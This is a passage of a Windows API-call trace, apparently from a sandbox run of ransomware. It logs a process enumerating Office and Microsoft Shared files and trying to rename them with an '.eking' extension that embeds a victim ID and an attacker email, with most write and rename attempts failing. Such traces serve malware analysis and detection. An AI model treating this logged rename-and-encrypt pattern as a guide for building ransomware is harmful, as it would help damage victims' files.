Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0167.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0167.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.481] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.481] CloseHandle (hObject=0x1e4) returned 1 [0167.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0167.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0167.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.482] ResetEvent (hEvent=0x178) returned 1 [0167.482] SetEvent (hEvent=0x17c) returned 1 [0167.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.482] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=169984) returned 1 [0167.482] CloseHandle (hObject=0x1e4) returned 1 [0167.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0167.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0167.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.483] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.826] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0167.828] ResetEvent (hEvent=0x178) returned 1 [0167.828] SetEvent (hEvent=0x17c) returned 1 [0167.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.314] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=695296) returned 1 [0169.314] CloseHandle (hObject=0x1ec) returned 1 [0169.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0169.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0169.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.315] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=154448) returned 1 [0169.315] CloseHandle (hObject=0x1ec) returned 1 [0169.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0169.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0169.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.458] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2528128) returned 1 [0169.458] CloseHandle (hObject=0x1e8) returned 1 [0169.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0169.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0 [0169.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.459] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3213192) returned 1 [0169.459] CloseHandle (hObject=0x1e8) returned 1 [0169.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0169.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0 [0169.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.460] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=744888) returned 1 [0169.461] CloseHandle (hObject=0x1e8) returned 1 [0169.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0169.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0169.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.465] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=43408) returned 1 [0169.465] CloseHandle (hObject=0x1e8) returned 1 [0169.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0169.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0169.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.467] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1012648) returned 1 [0169.467] CloseHandle (hObject=0x1e8) returned 1 [0169.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0169.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0169.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.468] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=442272) returned 1 [0169.468] CloseHandle (hObject=0x1e8) returned 1 [0169.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0169.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0169.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.469] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=899992) returned 1 [0169.469] CloseHandle (hObject=0x1e8) returned 1 [0169.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0169.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0169.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.470] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=342960) returned 1 [0169.470] CloseHandle (hObject=0x1e8) returned 1 [0169.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0169.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0169.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0169.472] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15800) returned 1 [0169.472] CloseHandle (hObject=0x1e8) returned 1 [0169.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0169.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0169.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.496] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15800) returned 1 [0169.496] CloseHandle (hObject=0x1ec) returned 1 [0169.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0169.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0169.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.498] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15800) returned 1 [0169.498] CloseHandle (hObject=0x1ec) returned 1 [0169.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0169.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0169.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.499] CreateFileW (lpFileName="\\\\?\\C:\\Program 